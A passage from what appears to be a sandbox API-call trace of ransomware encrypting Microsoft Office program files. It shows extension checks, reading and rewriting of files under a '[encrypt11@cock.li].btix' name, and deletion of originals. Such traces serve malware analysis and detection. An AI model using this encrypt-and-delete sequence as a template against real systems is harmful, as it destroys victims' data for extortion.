Office\\root\\client\\AppvIsvStream64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.246] lstrlenW (lpString=".doc") returned 4 [0157.246] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.246] lstrlenW (lpString=".docx") returned 5 [0157.247] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0157.247] lstrlenW (lpString=".pdf") returned 4 [0157.247] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.247] lstrlenW (lpString=".xls") returned 4 [0157.247] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.247] lstrlenW (lpString=".xlsx") returned 5 [0157.247] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0157.247] lstrlenW (lpString=".ppt") returned 4 [0157.247] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.247] lstrlenW (lpString=".zip") returned 4 [0157.247] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.247] lstrlenW (lpString=".rar") returned 4 [0157.247] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.247] lstrlenW (lpString=".bz2") returned 4 [0157.247] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.247] lstrlenW (lpString=".7z") returned 3 [0157.247] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.247] lstrlenW (lpString=".dbf") returned 4 [0157.247] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.247] lstrlenW (lpString=".1cd") returned 4 [0157.247] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.247] lstrlenW (lpString=".jpg") returned 4 [0157.247] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.247] lstrlenW (lpString=".doc") returned 4 [0157.247] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.247] lstrlenW (lpString=".docx") returned 5 [0157.247] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0157.247] lstrlenW (lpString=".pdf") returned 4 [0157.247] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.248] lstrlenW (lpString=".xls") returned 4 [0157.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.248] lstrlenW (lpString=".xlsx") returned 5 [0157.248] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0157.248] lstrlenW (lpString=".ppt") returned 4 [0157.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.248] lstrlenW (lpString=".zip") returned 4 [0157.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.248] lstrlenW (lpString=".rar") returned 4 [0157.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.248] lstrlenW (lpString=".bz2") returned 4 [0157.248] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.248] lstrlenW (lpString=".7z") returned 3 [0157.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.248] lstrlenW (lpString=".dbf") returned 4 [0157.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.248] lstrlenW (lpString=".1cd") returned 4 [0157.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0157.248] lstrlenW (lpString=".jpg") returned 4 [0157.248] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.248] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.248] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0157.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.249] lstrlenW (lpString=".doc") returned 4 [0157.249] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.249] lstrlenW (lpString=".docx") returned 5 [0157.249] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0157.249] lstrlenW (lpString=".pdf") returned 4 [0157.249] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.249] lstrlenW (lpString=".xls") returned 4 [0157.249] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.249] lstrlenW (lpString=".xlsx") returned 5 [0157.249] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0157.249] lstrlenW (lpString=".ppt") returned 4 [0157.249] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.249] lstrlenW (lpString=".zip") returned 4 [0157.249] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.249] lstrlenW (lpString=".rar") returned 4 [0157.249] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.249] lstrlenW (lpString=".bz2") returned 4 [0157.249] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.249] lstrlenW (lpString=".7z") returned 3 [0157.249] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.249] lstrlenW (lpString=".dbf") returned 4 [0157.249] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.249] lstrlenW (lpString=".1cd") returned 4 [0157.249] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.249] lstrlenW (lpString=".jpg") returned 4 [0157.249] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.249] lstrlenW (lpString=".doc") returned 4 [0157.249] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.250] lstrlenW (lpString=".docx") returned 5 [0157.250] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0157.250] lstrlenW (lpString=".pdf") returned 4 [0157.250] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.250] lstrlenW (lpString=".xls") returned 4 [0157.250] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.250] lstrlenW (lpString=".xlsx") returned 5 [0157.250] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0157.250] lstrlenW (lpString=".ppt") returned 4 [0157.250] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.250] lstrlenW (lpString=".zip") returned 4 [0157.250] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.250] lstrlenW (lpString=".rar") returned 4 [0157.250] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.250] lstrlenW (lpString=".bz2") returned 4 [0157.250] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.250] lstrlenW (lpString=".7z") returned 3 [0157.250] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.250] lstrlenW (lpString=".dbf") returned 4 [0157.250] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.250] lstrlenW (lpString=".1cd") returned 4 [0157.250] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0157.250] lstrlenW (lpString=".jpg") returned 4 [0157.250] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.250] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.250] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0157.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0157.251] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=2285736) returned 1 [0157.251] CloseHandle (hObject=0x33c) returned 1 [0157.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 0x420 [0157.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0157.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x420) returned 1 [0157.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 1 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.253] lstrlenW (lpString=".doc") returned 4 [0157.253] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.253] lstrlenW (lpString=".docx") returned 5 [0157.253] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0157.253] lstrlenW (lpString=".pdf") returned 4 [0157.253] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.253] lstrlenW (lpString=".xls") returned 4 [0157.253] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.253] lstrlenW (lpString=".xlsx") returned 5 [0157.253] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0157.253] lstrlenW (lpString=".ppt") returned 4 [0157.253] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.253] lstrlenW (lpString=".zip") returned 4 [0157.253] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.253] lstrlenW (lpString=".rar") returned 4 [0157.253] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.253] lstrlenW (lpString=".bz2") returned 4 [0157.253] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.253] lstrlenW (lpString=".7z") returned 3 [0157.253] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.253] lstrlenW (lpString=".dbf") returned 4 [0157.253] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.253] lstrlenW (lpString=".1cd") returned 4 [0157.253] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.253] lstrlenW (lpString=".jpg") returned 4 [0157.253] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.254] lstrlenW (lpString=".doc") returned 4 [0157.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.254] lstrlenW (lpString=".docx") returned 5 [0157.254] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0157.254] lstrlenW (lpString=".pdf") returned 4 [0157.254] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.254] lstrlenW (lpString=".xls") returned 4 [0157.254] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.254] lstrlenW (lpString=".xlsx") returned 5 [0157.254] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0157.254] lstrlenW (lpString=".ppt") returned 4 [0157.254] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.254] lstrlenW (lpString=".zip") returned 4 [0157.254] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.254] lstrlenW (lpString=".rar") returned 4 [0157.254] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.254] lstrlenW (lpString=".bz2") returned 4 [0157.254] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.254] lstrlenW (lpString=".7z") returned 3 [0157.254] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.254] lstrlenW (lpString=".dbf") returned 4 [0157.254] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.254] lstrlenW (lpString=".1cd") returned 4 [0157.254] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0157.254] lstrlenW (lpString=".jpg") returned 4 [0157.254] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.255] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0157.255] lstrlenW (lpString="AppVLP.exe") returned 10 [0157.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0157.255] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=431664) returned 1 [0157.255] CloseHandle (hObject=0x33c) returned 1 [0157.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 0x220 [0157.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0157.255] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.255] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0157.256] GetLastError () returned 0x0 [0157.256] ReadFile (in: hFile=0x33c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x69630, lpOverlapped=0x0) returned 1 [0157.267] WriteFile (in: hFile=0x348, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x69640, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x69640, lpOverlapped=0x0) returned 1 [0157.446] ReadFile (in: hFile=0x33c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.447] WriteFile (in: hFile=0x348, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1 [0157.447] SetEndOfFile (hFile=0x348) returned 1 [0157.898] CloseHandle (hObject=0x348) returned 1 [0157.903] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.903] SetEndOfFile (hFile=0x33c) returned 1 [0157.907] CloseHandle (hObject=0x33c) returned 1 [0157.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 1 [0158.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.067] lstrlenW (lpString=".doc") returned 4 [0158.067] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0158.067] lstrlenW (lpString=".docx") returned 5 [0158.067] lstrcmpiW (lpString1=".docx", lpString2="P.exe") returned -1 [0158.067] lstrlenW (lpString=".pdf") returned 4 [0158.067] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0158.067] lstrlenW (lpString=".xls") returned 4 [0158.067] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0158.068] lstrlenW (lpString=".xlsx") returned 5 [0158.068] lstrcmpiW (lpString1=".xlsx", lpString2="P.exe") returned -1 [0158.068] lstrlenW (lpString=".ppt") returned 4 [0158.068] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.068] lstrlenW (lpString=".zip") returned 4 [0158.068] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0158.068] lstrlenW (lpString=".rar") returned 4 [0158.068] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0158.068] lstrlenW (lpString=".bz2") returned 4 [0158.068] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0158.068] lstrlenW (lpString=".7z") returned 3 [0158.068] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.068] lstrlenW (lpString=".dbf") returned 4 [0158.068] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.068] lstrlenW (lpString=".1cd") returned 4 [0158.068] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.068] lstrlenW (lpString=".jpg") returned 4 [0158.068] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.068] lstrlenW (lpString=".doc") returned 4 [0158.068] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0158.068] lstrlenW (lpString=".docx") returned 5 [0158.068] lstrcmpiW (lpString1=".docx", lpString2="P.exe") returned -1 [0158.069] lstrlenW (lpString=".pdf") returned 4 [0158.069] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0158.070] lstrlenW (lpString=".xls") returned 4 [0158.070] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0158.070] lstrlenW (lpString=".xlsx") returned 5 [0158.070] lstrcmpiW (lpString1=".xlsx", lpString2="P.exe") returned -1 [0158.070] lstrlenW (lpString=".ppt") returned 4 [0158.070] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0158.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.070] lstrlenW (lpString=".zip") returned 4 [0158.070] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0158.070] lstrlenW (lpString=".rar") returned 4 [0158.070] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0158.070] lstrlenW (lpString=".bz2") returned 4 [0158.070] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0158.070] lstrlenW (lpString=".7z") returned 3 [0158.070] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0158.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.070] lstrlenW (lpString=".dbf") returned 4 [0158.070] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0158.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.070] lstrlenW (lpString=".1cd") returned 4 [0158.070] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0158.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0158.070] lstrlenW (lpString=".jpg") returned 4 [0158.070] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0158.070] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0158.070] lstrlenW (lpString="ucrtbase.dll") returned 12 [0158.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0158.072] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=982720) returned 1 [0158.072] CloseHandle (hObject=0x35c) returned 1 [0158.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll")) returned 0x220 [0158.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0158.073] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.073] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program 